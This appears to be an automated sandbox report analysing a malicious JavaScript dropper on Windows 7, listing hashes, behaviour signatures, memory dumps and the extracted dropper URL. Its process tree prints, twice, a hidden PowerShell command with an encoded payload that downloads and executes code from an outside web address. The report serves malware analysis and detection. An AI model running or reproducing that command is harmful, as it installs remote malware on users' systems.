Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    28-12-2023 21:51

General

  • Target

    faab3e5f78adeee0a978251e6abe4651.js

  • Size

    82KB

  • MD5

    faab3e5f78adeee0a978251e6abe4651

  • SHA1

    f80909ac65e84518a1efed219f4b81f39e618217

  • SHA256

    1612f0161c79816e64580161b8a1006663f68a3d9403bfa9b8270498fe209712

  • SHA512

    6d63b29ed4fc857fee7774ea666d09364c8d1adba17b6cc0a1e407a31f4d110afe0ffbda83396ffc368d592b40adb238219e910a33c013be163ea1d50e994fcb

  • SSDEEP

    1536:rNGcdRQHbkYWnc9Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8R:rNGHHbpWc9Ry98guHVBqqg2bcruzUHm2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\faab3e5f78adeee0a978251e6abe4651.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2532
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2812-5-0x000000001B170000-0x000000001B452000-memory.dmp

    Filesize

    2.9MB

  • memory/2812-7-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-8-0x00000000025E0000-0x0000000002660000-memory.dmp

    Filesize

    512KB

  • memory/2812-6-0x0000000002880000-0x0000000002888000-memory.dmp

    Filesize

    32KB

  • memory/2812-10-0x00000000025E0000-0x0000000002660000-memory.dmp

    Filesize

    512KB

  • memory/2812-11-0x00000000025E0000-0x0000000002660000-memory.dmp

    Filesize

    512KB

  • memory/2812-9-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-12-0x00000000025E0000-0x0000000002660000-memory.dmp

    Filesize

    512KB

  • memory/2812-13-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-14-0x00000000025E0000-0x0000000002660000-memory.dmp

    Filesize

    512KB

  • memory/2812-15-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-16-0x00000000025E0000-0x0000000002660000-memory.dmp

    Filesize

    512KB

  • memory/2812-17-0x00000000025E0000-0x0000000002660000-memory.dmp

    Filesize

    512KB

  • memory/2812-18-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB